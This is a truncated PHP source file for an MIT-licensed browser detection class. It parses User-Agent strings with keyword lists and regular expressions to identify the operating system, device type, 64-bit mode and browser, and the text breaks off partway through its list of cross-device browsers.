<?php

/**
* 
* PHP Browser Detection Class
* 
* The MIT License (MIT)
* 
* Copyright (c) 2020-2021 Artem Murugov <murugov@gmail.com>
* 
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
* 
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* 
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
* 
* @version 2.4
* @last-modified September 6, 2021
* @link https://github.com/foroco/php-browser-detection
*/

namespace foroco;

class BrowserDetection
{
    public $useragent;
    private $get_mode;
    private $touch_support_mode;
    private $real_os_name;
    private $macos_version_minor;
    private $result_ios;
    private $result_mobile;
    private $result_os_type;
    private $result_os_family;
    private $result_os_name ;
    private $result_os_version;
    private $result_os_title;
    private $result_device_type;
    private $result_browser_name;
    private $result_browser_version;
    private $result_browser_title;
    private $result_browser_chromium_version;
    private $result_browser_gecko_version;
    private $result_browser_webkit_version;
    private $result_browser_chrome_original;
    private $result_browser_firefox_original;
    private $result_browser_safari_original;
    private $result_browser_android_webview;
    private $result_browser_ios_webview;
    private $result_browser_desktop_mode;
    private $result_64bits_mode;
    
    /**
     * Reset all common defined properties method
     *
     * @return null
     */
    
    private function resetProperties()
    {
        $this->real_os_name = '';
        $this->result_ios = FALSE;
        $this->result_mobile = 0;
        $this->macos_version_minor = 0;
        $this->result_os_type = 'unknown';
        $this->result_os_family = 'unknown';
        $this->result_os_name = 'unknown';
        $this->result_os_version = 0;
        $this->result_os_title = 'unknown';
        $this->result_device_type = 'unknown';
        $this->result_browser_name = 'unknown';
        $this->result_browser_version = 0;
        $this->result_browser_title = 'unknown';
        $this->result_browser_chromium_version = 0;
        $this->result_browser_gecko_version = 0;
        $this->result_browser_webkit_version = 0;
        $this->result_browser_chrome_original = 0;
        $this->result_browser_firefox_original = 0;
        $this->result_browser_safari_original = 0;
        $this->result_browser_android_webview = 0;
        $this->result_browser_ios_webview = 0;
        $this->result_browser_desktop_mode = 0;
        $this->result_64bits_mode = 0;
        return NULL;
    }

    /**
     * BrowserDetection class constructor.
     * @param string $useragent The user agent to work with. Leave empty for the current user agent (contained in
     * $_SERVER['HTTP_USER_AGENT']).
     */
    public function __construct($useragent = '')
    {
        $this->match_agents();
    }
    
    /**
     * Common User-Agent matching
     *
     * @param string $data The string to data search for
     * @param boolean $case_s Determines if we do a case-sensitive search (false) or a case insensitive (true)
     * @return boolean Returns true if $data found in $useragent property, false otherwise.
     */
    
    private function match_ua($data, $case_s = FALSE)
    {
        if (empty($data)) return FALSE;
        
        if (substr($data, 0, 1)==='/' && substr($data, -1)==='/')
        {
            if ($case_s == TRUE) $data = $data.'i';
            if (preg_match($data, $this->useragent, $matches))
            {
                if (!isset($matches[0])) $matches[0] = 0;
                if (!isset($matches[1])) $matches[1] = 0;
                if (!isset($matches[2])) $matches[2] = 0;
                return $matches;
            }
            else
            {
                return FALSE;
            }
        }
        else
        {
            $data_a = explode('|', $data);
            foreach ($data_a as $v)
            {
                if ($case_s == FALSE)
                {
                    if (strpos($this->useragent, $v) !== FALSE) return TRUE;
                }
                else
                {
                    if (stripos($this->useragent, $v) !== FALSE) return TRUE;
                }
            }
        }
        
        return FALSE;
    }
    
    /**
     * Method to call User-Agent matching method if matching data is case insensitive
     *
     * @param string $data The string to data search for
     * @return boolean Returns true if case insensitive $data found in $useragent property, false otherwise.
     */
    
    private function matchi_ua($data)
    {
        return $this->match_ua($data, TRUE);
    }
    
    /**
     * Detect iOS
     * The method will try to recognize iOS signs from $useragent property and will placed true in result_ios property if iOS found, false otherwise. Also returns true if iOS found, false otherwise
     *
     * @return bool
     */
    
    private function match_ios()
    {
        if ($this->match_ua('iPhone|iphone|iPad|iPod') && !$this->match_ua('x86_64|i386'))
        {
            $this->result_ios = TRUE;
            return TRUE;
        }
        return FALSE;
    }
    
    /**
     * Detect mobile OS
     * The method will try to recognize mobile OS signs from $useragent property and will placed true in result_mobile property if mobile OS found, false otherwise.
     *
     * @return null
     */
    
    private function match_mobile()
    {
        // Match 64 bits Windows Desktop OS
        
        if ($this->match_ua('WOW64|Win64'))
        {
            $this->result_64bits_mode = 1;
            return NULL;
        }
        
        // Match Windows Desktop OS
        
        if ($this->match_ua('Windows NT')) return NULL;
        
        // Match Android OS
        
        if ($this->match_ua('Android'))
        {
            $this->result_mobile = 1;
            return NULL;
        }
        
        // Match iOS
        
        if ($this->match_ios())
        {
            $this->result_mobile = 1;
            return NULL;
        }
        
        // Match MacOS
        
        if ($this->match_ua('Mac OS X')) return NULL;
        
        // Match other mobile signs
        
        if ($this->matchi_ua('mobile|tablet') || $this->match_ua('BlackBerry|BB10;|MIDP|PlayBook|Windows Phone|Windows Mobile|Windows CE|IEMobile|Opera Mini|OPiOS|Opera Mobi|CrKey armv|Kindle|Silk/|Bada|Tizen|Lumia|Symbian|SymbOS|(Series|PalmOS|PalmSource|Dolfin|Crosswalk|Obigo|MQQBrowser|CriOS') || $this->matchi_ua('nokia|playstation|watch')) $this->result_mobile = 1;
        return NULL;
    }
    
    /**
     * Convert MacOS numeric version to MacOS codename
     *
     * @param int $version The given MacOS version
     * @return string Returns MacOS codename string
     */
    
    private function macos_codename($version)
    {
        switch($version)
        {
            case 0: $result_codename = 'Cheetah'; break;
            case 1: $result_codename = 'Puma'; break;
            case 2: $result_codename = 'Jaguar'; break;
            case 3: $result_codename = 'Panther'; break;
            case 4: $result_codename = 'Tiger'; break;
            case 5: $result_codename = 'Leopard'; break;
            case 6: $result_codename = 'Snow Leopard'; break;
            case 7: $result_codename = 'Lion'; break;
            case 8: $result_codename = 'Mountain Lion'; break;
            case 9: $result_codename = 'Mavericks'; break;
            case 10: $result_codename = 'Yosemite'; break;
            case 11: $result_codename = 'El Capitan'; break;
            case 12: $result_codename = 'Sierra'; break;
            case 13: $result_codename = 'High Sierra'; break;
            case 14: $result_codename = 'Mojave'; break;
            case 15: $result_codename = 'Catalina'; break;
            case 16: $result_codename = 'Big Sur'; break;
            case 17: $result_codename = 'Monterey'; break;
            default: $result_codename = 'New'; break;
        }
        return $result_codename;
    }
    
    /**
     * Common User-Agent parsing
     * The method will try to recognize environment data from $useragent property and will placed it in defined properties.
     *
     * @return null
     */
    
    private function getResult()
    {
        // Detect mobile device
        
        $this->match_mobile();
        
        // Detect mobile browser Desktop Mode
        
        if ($this->touch_support_mode == TRUE)
        {
            // Android Desktop Mode
            
            if ($this->match_ua('X11; Linux x86_64|X11; Linux aarch64|X11; U; U; Linux x86_64') && !$this->match_ua('Qt|Arora|Ubuntu|Debian|Fedora|Linux Mint|elementary OS'))
            {
                $this->real_os_name = 'Android';
                $this->result_mobile = 1;
                $this->result_browser_desktop_mode = 1;
            }
            
            // iOS Desktop Mode
            
            if ($this->match_ua('Intel Mac OS X'))
            {
                $this->real_os_name = 'iOS';
                $this->result_mobile = 1;
                $this->result_browser_desktop_mode = 1;
            }
        }
        
        // Windows Phone Desktop Mode
        
        if ($this->match_ua('WPDesktop;'))
        {
            $this->real_os_name = 'Windows Phone';
            $this->result_mobile = 1;
            $this->result_browser_desktop_mode = 1;
        }
        
        /*
        --------------
         OS DETECTION
        --------------
        
        --------------
         Mixed OS(es)
        --------------
        */
        
        $os_need_continue = TRUE;
        
        // Windows OS
        
        if ($this->get_mode !== 'browser' && $this->match_ua('Windows|Win32') && !$this->match_ua('Windows Phone|Windows Mobile|Windows CE|WPDesktop'))
        {
            $this->result_os_name = 'Windows';
            $matches = $this->match_ua('/Windows ([ .a-zA-Z0-9]+)[;\\)]/');
            $version = is_array($matches) ? $matches[1] : 0;
            if ($version === 'NT 11.0') $this->result_os_version = '11';
            if ($version === 'NT 10.1') $this->result_os_version = '11';
            if ($version === 'NT 10.0') $this->result_os_version = '10';
            if ($version === 'NT 6.4') $this->result_os_version = '10';
            if ($version === 'NT 6.3') $this->result_os_version = '8.1';
            if ($version === 'NT 6.2') $this->result_os_version = '8';
            if ($version === 'NT 6.1') $this->result_os_version = '7';
            if ($version === 'NT 6.0') $this->result_os_version = 'Vista';
            if ($version === 'NT 6') $this->result_os_version = 'NT';
            if ($version === 'NT 5.2') $this->result_os_version = 'XP';
            if ($version === 'NT 5.1') $this->result_os_version = 'XP';
            if ($version === 'NT 5.01') $this->result_os_version = '2000';
            if ($version === 'NT 5.0') $this->result_os_version = '2000';
            if ($version === 'NT 5') $this->result_os_version = '2000';
            if ($version === 'NT 4.0') $this->result_os_version = 'NT 4.0';
            if ($version === 'NT4.0') $this->result_os_version = 'NT 4.0';
            if ($version === 'NT') $this->result_os_version = 'NT';
            if ($version === '98') $this->result_os_version = '98';
            if ($version === '95') $this->result_os_version = '95';
            if ($version === 'ME') $this->result_os_version = 'ME';
            if (empty($this->result_os_version))
            {
                if ($this->match_ua('/Win16/')) $this->result_os_version = '3.1';
                if ($this->match_ua('/(Windows 95)|(Win95)|(Windows_95)/')) $this->result_os_version = '95';
                if ($this->match_ua('/(Windows 98)|(Win98)/')) $this->result_os_version = '98';
                if ($this->match_ua('/(Windows 2000)/')) $this->result_os_version = '2000';
                if ($this->match_ua('/(Win NT 5\.0)/')) $this->result_os_version = '2000';
                if ($this->match_ua('/(Windows XP)/')) $this->result_os_version = 'XP';
                if ($this->match_ua('/WinNT4\.0/')) $this->result_os_version = 'NT 4.0';
            }
            if (!empty($this->result_os_version)) $this->result_os_title = 'Windows '.$this->result_os_version;
            else $this->result_os_title = 'Windows (unknown version)';
            if (intval($this->result_os_version)<7 || intval($this->result_os_version)>10) $this->result_os_type = 'desktop';
            else $this->result_os_type = 'mixed';
            $this->result_os_family = 'windows';
            $os_need_continue = FALSE;
        }
        
        /*
        -------------
         Desktop OS
        -------------
        */
        
        if ($this->get_mode !== 'browser' && $this->result_mobile == 0)
        {
            $this->result_os_type = 'desktop';
            
            // Mac OS (X) / macOS
            
            if ($os_need_continue && $this->match_ua('Mac OS X|Mac_PowerPC|Macintosh|Mac_68K') && !$this->match_ua('AmigaOS'))
            {
                $this->result_os_version = 0;
                $this->result_os_name = 'MacOS';
                if ($this->match_ua('Mac OS X'))
                {
                    $matches = $this->match_ua('/Mac OS X (\d+)[_.](\d+)(?:[_.](\d+)|)/');
                    
                    $version = isset($matches[1]) ? $matches[1] : 0;
                    $version_minor = isset($matches[2]) ? $matches[2] : 0;
                    $version_revision = isset($matches[3]) ? $matches[3] : -1;
                    
                    // macOS version to minor version conversion (needs since Big Sur)
                    if ($version == 10 && $version_minor == 0) $version_minor = 16;
                    if ($version == 11) $version_minor = 16;
                    if ($version == 12) $version_minor = 17;
                    
                    // macOS with a particular major/minor/revision version structure (needs since Big Sur)
                    if ($version == 10 && $version_minor == 15 && $version_revision == 7) $version_minor = 16;
                    if ($version == 10 && $version_minor == 16 && $version_revision == 0) $version_minor = 17;
                    
                    if (!empty($version_minor))
                    {
                        if ($version >= 10) $this->result_os_version = $this->macos_codename($version_minor);
                        $this->macos_version_minor = $version_minor;
                    }
                    
                    if (!empty($this->result_os_version)) $this->result_os_title = 'MacOS '.$this->result_os_version;
                    else $this->result_os_title = 'MacOS (unknown version)';
                }
                else
                {
                    $this->result_os_title = 'MacOS (classic old)';
                }
                $this->result_os_family = 'macintosh';
                $os_need_continue = FALSE;
            }
            
            // Linux family OS(es)
            
            if ($os_need_continue)
            {
                $os_list[] = array('Ubuntu'=>'/Ubuntu(?: )?(?:\/)?([0-9]+\.[0-9]+)/');
                $os_list[] = array('Kubuntu'=>'/Kubuntu(?: )?(?:\/)?([0-9]+\.[0-9]+)/');
                $os_list[] = array('Linux Mint'=>'/Linux Mint\/([.0-9]+)/');
                $os_list[] = array('CentOS'=>'/CentOS\/([0-9]+\.[0-9]+)/');
                $os_list[] = array('OpenSUSE'=>'/SUSE\/([0-9]+\.[0-9]+)/');
                $os_list[] = array('Red Hat'=>'/Red\sHat\/([0-9]+\.[0-9]+)/');
                
                foreach($os_list as $os_list_va)
                {
                    $k = key($os_list_va);
                    $v = $os_list_va[$k];
                    
                    $matches = $this->match_ua($v);
                    if ($matches)
                    {
                        $this->result_os_family = 'linux';
                        $this->result_os_name = $k;
                        $this->result_os_version = is_array($matches) ? (float)$matches[1] : 0;
                        $os_need_continue = FALSE;
                        break;
                    }
                }
                $os_list = NULL;
            }
            
            // Other Desktop OS(es)
            
            if ($os_need_continue)
            {
                $other_os = array();
                
                $other_os[] = array('Chrome OS'=>'CrOS');
                $other_os[] = array('Linux Mint'=>'Linux Mint');
                $other_os[] = array('Kubuntu'=>'Kubuntu');
                $other_os[] = array('Ubuntu'=>'Ubuntu');
                $other_os[] = array('Ubuntu'=>'ubuntu');
                $other_os[] = array('Debian'=>'Debian');
                $other_os[] = array('CentOS'=>'CentOS');
                $other_os[] = array('Fedora'=>'Fedora');
                $other_os[] = array('Arch Linux'=>'ArchLinux');
                $other_os[] = array('OpenSUSE'=>'SUSE');
                $other_os[] = array('Red Hat'=>'Red Hat');
                $other_os[] = array('Elementary'=>' elementary');
                $other_os[] = array('OpenBSD'=>'OpenBSD');
                $other_os[] = array('NetBSD'=>'NetBSD');
                $other_os[] = array('FreeBSD'=>'FreeBSD');
                $other_os[] = array('SunOS'=>'SunOS');
                $other_os[] = array('RISC OS'=>'RISC OS');
                $other_os[] = array('Linux'=>'Linux');
                $other_os[] = array('Linux'=>'X11;');
                $other_os[] = array('Linux'=>'Mozilla/5.0 (x86_64)');
                $other_os[] = array('Linux'=>'Mozilla/5.0 (i686)');
                $other_os[] = array('Linux'=>'U; NETFLIX');
                $other_os[] = array('Linux'=>'GNU; ');
                $other_os[] = array('AmigaOS'=>'AmigaOS');
                $other_os[] = array('Haiku'=>'Haiku');
                $other_os[] = array('Roku OS'=>'Roku/');
                $other_os[] = array('BeOS'=>'BeOS');
                
                foreach ($other_os as $other_os_va)
                {
                    $k = key($other_os_va);
                    $v = $other_os_va[$k];
                    
                    if ($this->match_ua($v))
                    {
                        $this->result_os_family = 'linux';
                        if ($k === 'AmigaOS') $this->result_os_family = 'amiga';
                        if ($k === 'Haiku' || $k === 'BeOS') $this->result_os_family = 'beos';
                        if ($k === 'OpenBSD' || $k === 'NetBSD' || $k === 'FreeBSD' || $k === 'SunOS' || $k === 'RISC OS') $this->result_os_family = 'unix';
                        $this->result_os_version = 0;
                        $this->result_os_name = $k;
                        $this->result_os_title = $k;
                        $os_need_continue = FALSE;
                        break;
                    }
                }
                $other_os = NULL;
            }
        
        // End of desktop OS detection
        }
        
        /*
        -------------
         Mobile OS
        -------------
        */
        
        if ($this->get_mode !== 'browser' && $this->result_mobile == 1)
        {
            if ($this->result_os_type==='unknown') $this->result_os_type = 'mobile';
            
            // Desktop Mode on generic mobile OS
            
            // Android Desktop Mode
            
            if ($os_need_continue && $this->result_browser_desktop_mode == 1 && $this->real_os_name === 'Android')
            {
                $this->result_os_version = 0;
                $this->result_os_name = 'Android';
                $this->result_os_family = 'android';
                $os_need_continue = FALSE;
            }
            
            // iOS Desktop Mode
            
            if ($os_need_continue && $this->result_browser_desktop_mode == 1 && $this->real_os_name === 'iOS')
            {
                $this->result_os_version = 0;
                $this->result_os_name = 'iOS';
                $this->result_os_family = 'macintosh';
                $os_need_continue = FALSE;
            }
            
            // WP Desktop Mode
            
            if ($os_need_continue && $this->result_browser_desktop_mode == 1 && $this->real_os_name === 'Windows Phone')
            {
                $this->result_os_version = 0;
                $this->result_os_name = 'Windows Phone';
                $this->result_os_family = 'windows';
                $os_need_continue = FALSE;
            }
            
            // Android OS
            
            if ($os_need_continue && $this->match_ua('Android') && !$this->match_ua('Windows Phone|Windows Mobile|Tizen'))
            {
                $this->result_os_version = 0;
                $this->result_os_name = 'Android';
                $matches = $this->match_ua('/Android(?: |\-)([0-9]+\.[0-9]+)/');
                $this->result_os_version = is_array($matches) ? (float)$matches[1] : 0;
                if (empty($this->result_os_version))
                {
                    $matches = $this->match_ua('/Android(?: |\-)(\d+)/');
                    $this->result_os_version = is_array($matches) ? (float)$matches[1] : 0;
                }
                $this->result_os_family = 'android';
                $os_need_continue = FALSE;
            }
            
            // iOS OS
            
            if ($os_need_continue && $this->result_ios!=FALSE && !$this->match_ua('Windows Phone|Windows Mobile'))
            {
                $this->result_os_version = 0;
                $this->result_os_name = 'iOS';
                $matches = $this->match_ua('/\sOS\s(\d+)[_.](\d+)/');
                $version = is_array($matches) ? $matches[1] : 0;
                $version_minor = is_array($matches) ? $matches[2] : 0;
                if (!empty($version)) $this->result_os_version = floatval($version.'.'.$version_minor);
                $this->result_os_family = 'macintosh';
                $os_need_continue = FALSE;
            }
            
            // Windows Phone OS, Tizen OS, Bada OS, Kindle OS, FIre OS, Java Platform
            
            if ($os_need_continue)
            {
                $os_list[] = array('Windows Phone'=>'/Phone(?: OS)? ([.0-9]+)/');
                $os_list[] = array('Windows Mobile'=>'/Windows Mobile ([.0-9]+)/');
                $os_list[] = array('Windows Mobile'=>'Windows Mobile');
                $os_list[] = array('Windows CE'=>'Windows CE');
                $os_list[] = array('Firefox OS'=>'/Mozilla\/5\.0\s\((?:Mobile|Tablet);(?:.*;)?\srv:[.0-9]+\)\sGecko\/[.0-9]+\sFirefox\/[.0-9]+$/');
                $os_list[] = array('Tizen'=>'/Tizen[\/\s]([.0-9]+)/');
                $os_list[] = array('Bada'=>'/Bada[;\/]([.0-9]+)/');
                $os_list[] = array('Kindle'=>'/Kindle\/([0-9]+\.[0-9]+)/');
                $os_list[] = array('Fire OS'=>'KFJW|Silk/');
                $os_list[] = array('Java Platform'=>'/MIDP\-([0-9]+\.[0-9]+)/');
                $os_list[] = array('Java Platform'=>'/MIDP/');
                $os_list[] = array('MAUI Platform'=>'/MAUI\s|\sMAUI/');
                
                foreach($os_list as $os_list_va)
                {
                    $k = key($os_list_va);
                    $v = $os_list_va[$k];
                    
                    $matches = $this->match_ua($v);
                    if ($matches)
                    {
                        $this->result_os_family = 'linux';
                        if (strpos($k, 'Windows') !== FALSE) $this->result_os_family = 'windows';
                        $this->result_os_name = $k;
                        $this->result_os_version = is_array($matches) ? (float)$matches[1] : 0;
                        $os_need_continue = FALSE;
                        
                        // J2ME/MIDP or MAUI
                        
                        if (strpos($k, 'Java Platform') !== FALSE || strpos($k, 'MAUI Platform') !== FALSE)
                        {
                            $this->result_os_family = 'unknown';
                            $os_need_continue = TRUE;
                        }
                        break;
                    }
                }
                $os_list = NULL;
            }
            
            // Other Mobile OS(es)
            
            if ($os_need_continue)
            {
                $other_os = array();
                
                $other_os[] = array('Android'=>'CrKey armv');
                $other_os[] = array('Android'=>'SpreadTrum;');
                $other_os[] = array('BlackBerry'=>'BlackBerry');
                $other_os[] = array('BlackBerry'=>'BB10;');
                $other_os[] = array('BlackBerry'=>'RIM Tablet');
                $other_os[] = array('Symbian'=>'Symbian');
                $other_os[] = array('Symbian'=>'(Series');
                $other_os[] = array('Symbian'=>'SymbOS');
                $other_os[] = array('WatchOS'=>'Watch');
                $other_os[] = array('KaiOS'=>'KAIOS');
                $other_os[] = array('RemixOS'=>'Remix Mini');
                $other_os[] = array('RemixOS'=>'RemixOS');
                $other_os[] = array('Sailfish OS'=>'Sailfish');
                $other_os[] = array('LiveArea'=>'PlayStation Vita');
                $other_os[] = array('PalmOS'=>'PalmOS');
                $other_os[] = array('PalmOS'=>'PalmSource');
                $other_os[] = array('Maemo'=>'Maemo');
                $other_os[] = array('PlayStation Platform'=>'PlayStation');
                $other_os[] = array('PlayStation Platform'=>'PLAYSTATION');
                
                foreach ($other_os as $other_os_va)
                {
                    $k = key($other_os_va);
                    $v = $other_os_va[$k];
                    
                    if ($this->match_ua($v))
                    {
                        if ($k === 'Android') $this->result_os_family = 'android';
                        if ($k === 'BlackBerry') $this->result_os_family = 'blackberry';
                        if ($k === 'Symbian') $this->result_os_family = 'symbian';
                        if ($k === 'WatchOS') $this->result_os_family = 'macintosh';
                        if ($k === 'Sailfish OS' || $k === 'KaiOS' || $k === 'Maemo') $this->result_os_family = 'linux';
                        if ($k === 'RemixOS') $this->result_os_family = 'android';
                        if ($k === 'LiveArea') $this->result_os_family = 'livearea';
                        if ($k === 'PalmOS') $this->result_os_family = 'palm';
                        if ($k === 'PlayStation Platform') $this->result_os_family = 'unix';
                        $this->result_os_version = 0;
                        $this->result_os_name = $k;
                        $this->result_os_title = $k;
                        $os_need_continue = FALSE;
                        break;
                    }
                }
                
                $other_os = NULL;
            }

        // End of mobile OS detection
        }
        
        // Other mixed-type linux-family OS(es)
        
        if ($this->get_mode !== 'browser' && ($this->result_os_family === 'linux' || $this->result_os_family === 'unknown'))
        {
            $other_os = array();
            
            $other_os[] = array('WebOS'=>'hpwOS');
            $other_os[] = array('WebOS'=>'Web0S');
            $other_os[] = array('WebOS'=>'WebOS');
            $other_os[] = array('WebOS'=>'webOS');
            
            foreach ($other_os as $other_os_va)
            {
                $k = key($other_os_va);
                $v = $other_os_va[$k];
                
                if ($this->match_ua($v))
                {
                    $this->result_os_family = 'linux';
                    $this->result_os_type = 'mixed';
                    $this->result_os_version = 0;
                    $this->result_os_name = $k;
                    $this->result_os_title = $k;
                    break;
                }
            }
            $other_os = NULL;
        }
        
        // Darwin (MacOS and iOS)
        
        if ($os_need_continue && $this->match_ua(' Darwin') && !$this->match_ua('X11;'))
        {
            $this->result_os_family = 'macintosh';
            
            if ($this->match_ua('x86_64|i386|Mac'))
            {
                $this->result_os_type = 'desktop';
                $this->result_os_name = 'MacOS';
            }
            else
            {
                $this->result_os_type = 'mobile';
                $this->result_mobile = 1;
                $this->result_os_name = 'iOS';
                $this->result_ios = TRUE;
            }
            
            $this->result_os_version = 0;
            $darwin_os_version = 0;
            
            $matches = $this->match_ua('/\sDarwin(\s|\/)([0-9]+\.[0-9]+)/');
            if (!empty($matches[2])) $darwin_os_version = (float)$matches[2];
            
            $darwin_macos_map = array('1.3'=>'0', '1.4'=>'1', '5.1'=>'1', '5.5'=>'1', '6.0'=>'2', '6.8'=>'2', '7.0'=>'3', '7.9'=>'3', '8.0'=>'4', '8.1'=>'4', '9.0'=>'5', '9.8'=>'5', '10.0'=>'6', '10.8'=>'6', '11.0'=>'7', '11.4'=>'7', '12.0'=>'8', '12.6'=>'8', '13.0'=>'9', '13.4'=>'9', '14.0'=>'10', '14.5'=>'10', '15.0'=>'11', '15.6'=>'11', '16.0'=>'12', '16.6'=>'12', '17.0'=>'13', '17.7'=>'13', '18.0'=>'14', '18.2'=>'14', '19.0'=>'15', '19.6'=>'15', '20.0'=>'16', '20.3'=>'16');
            $darwin_ios_map = array('9.0'=>'1', '9.8'=>'1', '10.0'=>'4', '10.8'=>'4', '11.0'=>'5', '11.4'=>'5', '12.0'=>'6', '13.0'=>'7', '14.0'=>'8', '15.0'=>'9', '15.6'=>'9', '16.0'=>'10', '16.6'=>'10', '17.0'=>'11', '17.7'=>'11', '18.0'=>'12', '18.2'=>'12', '19.0'=>'13', '19.6'=>'13', '20.0'=>'14', '20.3'=>'14');
            
            if ($this->result_os_name === 'MacOS') $darwin_map = $darwin_macos_map;
            else $darwin_map = $darwin_ios_map;
            
            foreach ($darwin_macos_map as $k=>$v)
            {
                $darwin_map_min[$k] = abs($k-$darwin_os_version);
            }
            
            asort($darwin_map_min);
            $darwin_map_key = key($darwin_map_min);
            $this->result_os_version = $darwin_map[$darwin_map_key];
            
            if ($this->result_os_name === 'MacOS')
            {
                $this->result_os_version = $this->macos_codename($darwin_map[$darwin_map_key]);
                if (!empty($this->result_os_version)) $this->result_os_title = 'MacOS '.$this->result_os_version;
                else $this->result_os_title = 'MacOS';
            }
            
            $darwin_map = NULL;
            $darwin_map_min = NULL;
            $darwin_macos_map = NULL;
            $darwin_ios_map = NULL;
            $os_need_continue = FALSE;
        }
        
        // Set OS title and type
        
        if ($this->get_mode !== 'browser' && $this->result_os_name !== 'MacOS')
        {
            if (!empty($this->result_os_version)) $this->result_os_title = $this->result_os_name.' '.$this->result_os_version;
            else
            {
                if ($this->result_os_name !== 'Windows') $this->result_os_title = $this->result_os_name;
                else $this->result_os_title = $this->result_os_name.' (unknown version)';
            }
            if (strpos($this->result_os_name, 'unknown') !== false) $this->result_os_type = 'unknown';
            if ($this->result_os_version == NULL) $this->result_os_version = 0;
        }
        
        /*
        ---------------------
         Detect 64bits mode
        ---------------------
        */
        
        if ($this->result_os_name === 'iOS' && $this->result_os_version >= 11) $this->result_64bits_mode = 1;
        if ($this->result_os_name === 'MacOS' && $this->macos_version_minor >= 8) $this->result_64bits_mode = 1;
        
        if ($this->result_64bits_mode == 0)
        {
            if ($this->match_ua('64') && $this->match_ua('x64;|x86_64|x86-64|arm64|arm_64|aarch64|Linux x64|mips64|amd64|AMD64|ia64|IRIX64|ppc64|sparc64|x64_64'))
            {
                $this->result_64bits_mode = 1;
            }
        }
        
        if ($this->result_os_name === 'Android' && $this->result_browser_desktop_mode == 1) $this->result_64bits_mode = 0;
        if ($this->result_64bits_mode == 1 && $this->match_ua('86') && $this->match_ua('i386|i686')) $this->result_64bits_mode = 0;
        
        // If mode 'os' only
        
        if ($this->get_mode === 'os') return NULL;
        
        /*
        -------------------
         BROWSER DETECTION
        -------------------
        
        ---------------------
         Mixed-type Browsers
        ---------------------
        */
        
        $browser_need_continue = TRUE;
        if ($this->get_mode === 'device') $browser_need_continue = FALSE;
        
        // Chrome / Chromium
        
        if ($browser_need_continue && $this->match_ua('Chrome/|Chromium/|CriOS/|CrMo/'))
        {
            $this->result_browser_version = 0;
            $matches = $this->match_ua('/(Chrome|Chromium|CriOS|CrMo)\/([0-9]+)\./');
            $this->result_browser_name = 'Chrome';
            if (!empty($matches[1]) && $matches[1]==='Chromium') $this->result_browser_name = 'Chromium';
            if (!empty($matches[2])) $this->result_browser_version = (int)$matches[2];
            $this->result_browser_chromium_version = $this->result_browser_version;
            if ($this->match_ua('CriOS/')) $this->result_browser_chromium_version = 0;
            if ($this->match_ua('/Gecko\)\s(Chrome|CrMo)\/(\d+\.\d+\.\d+\.\d+)\s(?:Mobile)?(?:\/[.0-9A-Za-z]+\s|\s)?Safari\/[.0-9]+$/') && !$this->match_ua('SalamWeb') && !$this->match_ua('Valve Steam')) $this->result_browser_chrome_original = 1;
        }
        
        // Firefox
        
        if ($browser_need_continue && $this->result_browser_chromium_version == 0 && $this->match_ua('Firefox/') && !$this->match_ua('Focus/|FxiOS|Waterfox'))
        {
            $this->result_browser_version = 0;
            $matches = $this->match_ua('/Firefox\/([0-9]+)\./');
            $this->result_browser_name = 'Firefox';
            if (!empty($matches[1])) $this->result_browser_version = (int)$matches[1];
            if($this->match_ua('/\)\sGecko\/[.0-9]+\sFirefox\/[.0-9]+$/')) $this->result_browser_firefox_original = 1;
        }
        
        // Cross-device browsers (Yandex, Edge, Firefox, Opera, Puffin, Vivaldi, QQBrowser, Whale, Brave etc)
        
        if ($browser_need_continue && $this->result_browser_chrome_original == 0 && $this->result_browser_firefox_original == 0)
        {
            $browser_list[] = array('Yandex Browser', 'YaBrowser', '/YaBrowser\/([0-9]+\.[0-9]+)/', '1', 'YaApp_');
            $browser_list[] = array('Edge', 'Edg', '/Edg(|e|A|iOS)\/([0-9]+)\./', '2', '');
            $browser_list[] = array('Opera', ' OPR/', '/OPR\/(\d+)/', '1', 'Opera Mini|OPiOS|OPT/|OPRGX/|AlohaBrowser');
            $browser_list[] = array('Opera', 'Opera', '/Opera.*Version\/([0-9]+\.[0-9]+)/', '1', 'Opera Mini|OPiOS|OPT/|InettvBrowser/');
            $browser_list[] = array('Opera', 'Opera', '/Opera(\s|\/)([0-9]+\.[0-9]+)/', '2', 'Opera Mini|OPiOS|OPT/|InettvBrowser/');
            $browser_list[] = array('UC Browser', 'UBrowser|UCBrowser|UCMini', '/(UBrowser|UCBrowser|UCMini)\/([0-9]+\.[0-9]+)/', '2', 'UCTurbo');
            $browser_list[] = array('UC Browser Turbo', 'UCTurbo/', '/UCTurbo\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Puffin', 'Puffin/', '/Puffin\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Vivaldi', 'Vivaldi/', '/Vivaldi\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('QQBrowser', 'QQBrowser/', '/QQBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Coc Coc', 'coc_coc_browser', '/coc_coc_browser\/([0-9]+)/', '1', '');
            $browser_list[] = array('Whale', 'Whale/', '/Whale\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Brave', 'Brave', '/Brave(?: Chrome)?\/([0-9]+)/', '1', '');
            $browser_list[] = array('Maxthon', 'Maxthon/', '/Maxthon\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('Maxthon', 'MxBrowser/', '/MxBrowser\/([0-9]+\.[0-9]+)/', '1', '');
            $browser_list[] = array('2345 Explorer', '2345Explorer|2345Browser', '/(2345Explorer|2345Browser)(?: |\/)?([0-9]+\.[0-9]+)/', '2', '');
            $browser_list[] = array('IceCat', 'IceCat/', '/IceCat\/([0-9]+)/', '1', '');
